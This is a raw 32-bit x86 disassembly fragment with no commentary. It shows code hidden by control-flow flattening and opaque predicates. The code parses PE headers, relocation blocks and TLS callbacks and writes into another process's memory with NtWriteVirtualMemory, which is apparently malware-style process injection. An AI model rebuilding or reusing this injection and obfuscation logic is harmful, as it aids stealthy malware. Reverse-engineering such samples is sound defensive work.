sub edx, 1
add edx, 0x6eea2faf
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1933bda3
mov ecx, 0xb648ddea
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010157
mov dword [ebp - 0x164], 0xf043eee3
jmp 0x10010157
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x15c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x138]
mov edx, dword [edx]
mov esi, dword [ebp - 0x14c]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x15c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x158]
mov eax, dword [eax]
add ecx, dword [eax + 0x3c]
add ecx, 4
add ecx, 0x14
mov eax, dword [ebp - 0x154]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
add ecx, eax
mov eax, dword [ebp - 0x128]
mov dword [eax], ecx
mov eax, dword [ebp - 0x124]
mov dword [eax], 0
mov dword [ebp - 0x164], 0xc4a38652
jmp 0x10010157
mov eax, dword [ebp - 0x118]
mov ecx, dword [ebp - 0x64]
mov dword [eax], ecx
mov ecx, dword [0x1006f888]
mov eax, dword [0x1006f884]
mov edx, ecx
sub edx, 0x4673bee1
sub edx, 1
add edx, 0x4673bee1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3f0c1655
mov ecx, 0x71642e1f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010157
mov eax, dword [0x1006f888]
mov ecx, dword [0x1006f884]
mov edx, eax
sub edx, 0x34bf5cbb
sub edx, 1
add edx, 0x34bf5cbb
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1598bf29
mov ecx, 0x649b0acc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010157
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0x164], 0xdf30a2fb
jmp 0x10010157
mov eax, dword [0x1006f888]
mov ecx, dword [0x1006f884]
mov edx, eax
sub edx, 0x85cefcd1
sub edx, 1
add edx, 0x85cefcd1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x57d43fb0
mov ecx, 0x88e7c98
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010157
mov eax, dword [ebp - 0x108]
mov eax, dword [ebp - 0xfc]
mov eax, dword [0x1006f888]
mov ecx, dword [0x1006f884]
mov edx, eax
add edx, 0x7ff54222
sub edx, 1
sub edx, 0x7ff54222
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x15041744
mov ecx, 0xadbdb2d3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010157
mov dword [ebp - 0x164], 0x42d0dffe
jmp 0x10010157
mov ecx, dword [0x1006f888]
mov eax, dword [0x1006f884]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6f258433
mov ecx, 0x85fbe789
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010157
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x34]
add ecx, 0xcc993d7
add ecx, eax
sub ecx, 0xcc993d7
mov eax, dword [ebp - 0xfc]
mov dword [eax], ecx
mov eax, dword [ebp - 0x100]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x14c]
mov edx, dword [eax]
mov eax, dword [ebp - 0xfc]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov ecx, dword [0x1006f888]
mov eax, dword [0x1006f884]
mov edx, ecx
sub edx, 0x8f694646
sub edx, 1
add edx, 0x8f694646
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6f258433
mov ecx, 0x62fdff83
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010157
mov eax, dword [0x1006f888]
mov ecx, dword [0x1006f884]
mov edx, eax
add edx, 0x8493c650
sub edx, 1
sub edx, 0x8493c650
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8532a4d4
mov ecx, 0x83cbf66a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010157
mov eax, dword [ebp - 0x15c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x154]
mov eax, dword [eax]
add ecx, dword [eax + 0xc0]
mov eax, dword [ebp - 0xf8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0xf4]
mov dword [eax], ecx
mov eax, dword [0x1006f888]
mov ecx, dword [0x1006f884]
mov edx, eax
sub edx, 0xc60aead4
sub edx, 1
add edx, 0xc60aead4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8532a4d4
mov ecx, 0xef12c72a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010157
mov dword [ebp - 0x164], 0x5df4c8a1
jmp 0x10010157
mov ax, word [ebp - 0xac]
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0x164], 0xd47c7e05
jmp 0x10010157
mov eax, dword [ebp - 0x124]
mov dword [ebp - 0x164], 0x4a4b0a58
jmp 0x10010157
mov dword [ebp - 0x164], 0x7c5a3d3f
jmp 0x10010157
mov eax, dword [ebp - 0x120]
mov ecx, dword [eax]
add ecx, 0xa64be9c2
add ecx, 8
sub ecx, 0xa64be9c2
mov eax, dword [ebp - 0x110]
mov dword [eax], ecx
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
xor eax, eax
sub eax, 8
add ecx, eax
shr ecx, 1
mov eax, dword [ebp - 0x10c]
mov dword [eax], ecx
mov dword [ebp - 0x164], 0x193c588a
jmp 0x10010157
mov dword [ebp - 0x164], 0x7c127ae4
jmp 0x10010157
mov dword [ebp - 0x164], 0x93f7b65f
jmp 0x10010157
mov eax, dword [ebp - 0x15c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x154]
mov eax, dword [eax]
add ecx, dword [eax + 0xc0]
mov eax, dword [ebp - 0xf8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0xf4]
mov dword [eax], ecx
mov dword [ebp - 0x164], 0x83cbf66a
jmp 0x10008ecf